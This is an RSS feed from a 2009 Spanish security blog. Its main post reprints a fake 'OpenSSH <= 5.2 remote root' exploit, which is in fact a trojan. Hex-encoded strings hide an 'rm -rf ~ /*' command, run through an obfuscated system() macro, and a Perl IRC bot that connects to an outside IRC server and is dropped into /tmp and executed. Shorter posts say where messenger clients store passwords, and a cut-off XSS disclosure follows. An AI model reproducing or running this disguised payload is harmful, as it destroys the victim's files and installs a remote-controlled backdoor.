<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-23164839</atom:id><lastBuildDate>Sun, 08 Nov 2009 15:21:48 +0000</lastBuildDate><title>~Unix &amp; Cisco &amp; Hacks~</title><description>...Sometimes, hacks may be ugly and only exist because someone had an itch that needed scratching. To the engineer, a hack is the ultimate expression of the Do-It-Yourself sentiment: no one understands how a hack came to be better than the person who felt compelled to solve the problem in the first place. If a person with a bent for problem solving thinks a given hack is ugly, then they are almost always irresistibly motivated to go one better and hack the hack...</description><link>http://vlan7.blogspot.com/</link><managingEditor>noreply@blogger.com (vlan7)</managingEditor><generator>Blogger</generator><openSearch:totalResults>322</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/unixCiscoHacks" type="application/rss+xml" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-8898406529887785192</guid><pubDate>Mon, 21 Sep 2009 23:59:00 +0000</pubDate><atom:updated>2009-09-23T04:03:08.614+02:00</atom:updated><title>FAKE 0day OpenSSH &lt;= 5.2 Remote root exploit</title><description>En una entrada, admin me preguntaba si conocia un supuesto 0-day de ssh.&lt;br /&gt;&lt;br /&gt;Se ha quitado algo para que no compile. ¿Te refieres a este?&lt;br /&gt;&lt;br /&gt;&lt;EDIT 22-9-2009&gt;&lt;br /&gt;Ver los comentarios antes de ejecutar el exploit&lt;br /&gt;&lt;/EDIT&gt;&lt;br /&gt;&lt;br /&gt;* ---------------------------&lt;br /&gt;* OpenSSH &lt;= 5.2 REMOTE (r00t) EXPLOIT.&lt;br /&gt;*&lt;br /&gt;*&lt;br /&gt;* Takes advantage of an off-by-one&lt;br /&gt;* bug in mapped authentication space on system&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#define VALID_RANGE 0xb44ffe00&lt;br /&gt;#define build_frem(x,y,a,b,c) a##c##a##x##y##b&lt;br /&gt;&lt;br /&gt;char jmpcode[] =&lt;br /&gt;"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"&lt;br /&gt;"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";&lt;br /&gt;&lt;br /&gt;char shellcode[] =&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"&lt;br /&gt;"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"&lt;br /&gt;"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"&lt;br /&gt;"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"&lt;br /&gt;"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"&lt;br /&gt;"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"&lt;br /&gt;"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"&lt;br /&gt;"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"&lt;br /&gt;"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"&lt;br /&gt;"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"&lt;br /&gt;"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"&lt;br /&gt;"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"&lt;br /&gt;"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"&lt;br /&gt;"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"&lt;br /&gt;"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"&lt;br /&gt;"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"&lt;br /&gt;"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"&lt;br /&gt;"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"&lt;br /&gt;"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"&lt;br /&gt;"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"&lt;br /&gt;"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"&lt;br /&gt;"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"&lt;br /&gt;"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"&lt;br /&gt;"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"&lt;br /&gt;"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"&lt;br /&gt;"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"&lt;br /&gt;"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"&lt;br /&gt;"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"&lt;br /&gt;"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;char fbsd_shellcode[] =&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"&lt;br /&gt;"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"&lt;br /&gt;"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"&lt;br /&gt;"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"&lt;br /&gt;"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"&lt;br /&gt;"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"&lt;br /&gt;"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"&lt;br /&gt;"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"&lt;br /&gt;"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"&lt;br /&gt;"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"&lt;br /&gt;"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"&lt;br /&gt;"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"&lt;br /&gt;"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"&lt;br /&gt;"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"&lt;br /&gt;"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"&lt;br /&gt;"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"&lt;br /&gt;"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"&lt;br /&gt;"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"&lt;br /&gt;"\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70"&lt;br /&gt;"\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b"&lt;br /&gt;"\x2f\x74\x6d\x70\x2f\x68\x69\x0a";&lt;br /&gt;#define SIZE 0xffffff &lt;br /&gt;#define OFFSET 131&lt;br /&gt;#define fremote build_frem(t,e,s,m,y)&lt;br /&gt;&lt;br /&gt;void usage(char *arg){&lt;br /&gt;printf("\n[+] 0pen0wn 0wnz Linux/FreeBSD\n");&lt;br /&gt;printf(" Usage: %s -h -p port\n",arg);&lt;br /&gt;printf(" Options:\n");&lt;br /&gt;printf(" \t-h ip/host of target\n");&lt;br /&gt;printf(" \t-p port\n");&lt;br /&gt;printf(" \t-d username\n");&lt;br /&gt;printf(" \t-B memory_limit 8/16/64\n\n\n");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#define FD 0x080518fc&lt;br /&gt;#define BD 0x08082000&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv){&lt;br /&gt;FILE *jmpinst;&lt;br /&gt;char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr;&lt;br /&gt;int port=23, limit=8, target=0, sock;&lt;br /&gt;struct hostent *host;&lt;br /&gt;struct sockaddr_in addr;&lt;br /&gt;&lt;br /&gt;if (geteuid()) {&lt;br /&gt;puts("need root for raw socket, etc...");&lt;br /&gt;return 1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if(argc &lt; 3){&lt;br /&gt;usage(argv[0]);&lt;br /&gt;return 1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;printf("\n [+] 0wn0wn - by anti-sec group\n");&lt;br /&gt;&lt;br /&gt;if (!inet_aton(h, &amp;addr.sin_addr)){&lt;br /&gt;host = gethostbyname(h);&lt;br /&gt;if (!host){&lt;br /&gt;printf(" [-] Resolving failed\n");&lt;br /&gt;return 1;&lt;br /&gt;}&lt;br /&gt;addr.sin_addr = *(struct in_addr*)host-&gt;h_addr;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sock = socket(PF_INET, SOCK_STREAM, 0);&lt;br /&gt;addr.sin_port = htons(port);&lt;br /&gt;addr.sin_family = AF_INET;&lt;br /&gt;if (connect(sock, (struct sockaddr*)&amp;addr, sizeof(addr)) == -1){&lt;br /&gt;printf(" [-] Connecting failed\n");&lt;br /&gt;return 1;&lt;br /&gt;}&lt;br /&gt;payload = malloc(limit * 10000);&lt;br /&gt;ptr = payload+8;&lt;br /&gt;memcpy(ptr,jmpcode,strlen(jmpcode));&lt;br /&gt;jmpinst=fopen(shellcode+793,"w+");&lt;br /&gt;if(jmpinst){&lt;br /&gt;fseek(jmpinst,0,SEEK_SET);&lt;br /&gt;fprintf(jmpinst,"%s",shellcode);&lt;br /&gt;fclose(jmpinst);&lt;br /&gt;}&lt;br /&gt;ptr += strlen(jmpcode);&lt;br /&gt;if(target != 5 &amp;&amp; target != 6){&lt;br /&gt;memcpy(ptr,shellcode,strlen(shellcode));&lt;br /&gt;ptr += strlen(shellcode);&lt;br /&gt;memset(ptr,'B',limit * 10000 - 8 - strlen(shellcode));&lt;br /&gt;}&lt;br /&gt;else{&lt;br /&gt;memcpy(ptr,fbsd_shellcode,strlen(fbsd_shellcode));&lt;br /&gt;ptr += strlen(fbsd_shellcode);&lt;br /&gt;memset(ptr,'B',limit * 10000 - 8 - strlen(fbsd_shellcode));&lt;br /&gt;}&lt;br /&gt;send(sock,buffer,strlen(buffer),0);&lt;br /&gt;send(sock,ptr,3750,0);&lt;br /&gt;close(sock);&lt;br /&gt;if(connect(sock, (struct sockaddr*)&amp;addr, sizeof(addr)) == -1) {&lt;br /&gt;printf(" [-] connecting failed\n"); &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;payload[sizeof(payload)-1] = '\0';&lt;br /&gt;payload[sizeof(payload)-2] = '\0';&lt;br /&gt;send(sock,buffer,strlen(buffer),0);&lt;br /&gt;send(sock,payload,strlen(payload),0);&lt;br /&gt;close(sock);&lt;br /&gt;free(payload);&lt;br /&gt;addr.sin_port = htons(6666);&lt;br /&gt;if(connect(sock, (struct sockaddr*)&amp;addr, sizeof(addr)) == 0) {&lt;br /&gt;/* v--- our cool bar that says: "r0000000t!!!" */&lt;br /&gt;printf("\n [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&gt;]\n\n");&lt;br /&gt;fremote("PS1='sh-3.2#' /bin/sh");&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;printf(" [-] failed to exploit target :-(\n");&lt;br /&gt;close(sock);&lt;br /&gt;return 0;&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8898406529887785192?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/KdjhIyT3lv0" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/KdjhIyT3lv0/0day-openssh-52-remote-root-exploit.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">6</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/09/0day-openssh-52-remote-root-exploit.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-2218634543751644755</guid><pubDate>Mon, 21 Sep 2009 23:23:00 +0000</pubDate><atom:updated>2009-09-22T01:25:52.603+02:00</atom:updated><title>Husmeando en archivos (IV)</title><description>&lt;b&gt;pidgin&lt;/b&gt;, conocido cliente de messenger para Linux, guarda las contraseñas en texto plano tambien.&lt;br /&gt;&lt;br /&gt;Dentro de nuestro home, hacemos una busqueda por el archivo &lt;b&gt;accounts.xml&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Lamentable.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-2218634543751644755?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/XKqCl85HLTg" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/XKqCl85HLTg/husmeando-en-archivos-iv.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/09/husmeando-en-archivos-iv.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-8193488468668910575</guid><pubDate>Mon, 21 Sep 2009 23:14:00 +0000</pubDate><atom:updated>2009-09-22T01:21:33.684+02:00</atom:updated><title>Husmeando en archivos (III) ...cypher will not save you</title><description>amsn cifra la contraseña.&lt;br /&gt;&lt;br /&gt;El archivo donde la guarda cifrada es:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;/home/user/.amsn/config.xml&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;La variable es &lt;b&gt;remotepassword&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Aunque este cifrada, que me consta que es en DES, bastaria que un atacante copiara ese &lt;b&gt;config.xml&lt;/b&gt; en su maquina.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8193488468668910575?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/BcG-vpDycUs" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/BcG-vpDycUs/husmeando-en-archivos-iii-cypher-will.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/09/husmeando-en-archivos-iii-cypher-will.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-8631167521674964208</guid><pubDate>Mon, 21 Sep 2009 23:09:00 +0000</pubDate><atom:updated>2009-09-22T01:14:42.644+02:00</atom:updated><title>Husmeando en archivos (II)... Kmess guarda user/pass en texto plano</title><description>Este cliente de messenger para Linux, guarda user/pass en un archivo en el que tiene acceso de lectura todo el mundo:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;/home/user/.kde/share/config/kmessrc&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;amsn, mas conocido, guarda esta informacion cifrada.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8631167521674964208?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/JOEpuIpfLTc" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/JOEpuIpfLTc/husmeando-en-archivos-ii-kmess-guarda.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/09/husmeando-en-archivos-ii-kmess-guarda.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-7058310834606505539</guid><pubDate>Sun, 23 Aug 2009 18:25:00 +0000</pubDate><atom:updated>2009-08-23T20:27:13.009+02:00</atom:updated><title>mmm ... creo que esta es tu IP publica no?</title><description>&lt;a href="http://www.orkspace.net/owned/"&gt;&lt;b&gt;http://www.orkspace.net/owned/&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;:)&lt;br /&gt;&lt;br /&gt;Gracias a sparc ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-7058310834606505539?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/kAgxMRQ1cTk" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/kAgxMRQ1cTk/mmm-creo-que-esta-es-tu-ip-publica-no.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/08/mmm-creo-que-esta-es-tu-ip-publica-no.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-9153362465504250851</guid><pubDate>Thu, 09 Jul 2009 19:36:00 +0000</pubDate><atom:updated>2009-07-10T19:49:53.865+02:00</atom:updated><title>...una historia inofensiva pero real ~ XSS en la web de la Guardia Civil ~</title><description>Pues nada, un XSS que descubri el otro dia jugando.&lt;br /&gt;&lt;br /&gt;Ahi va:&lt;br /&gt;&lt;br /&gt;&lt;center&gt;Full Disclosure 100% DIY (esto es, a mi manera)&lt;br /&gt;donde se habla de una historia&lt;br /&gt;inofensiva pero real&lt;br 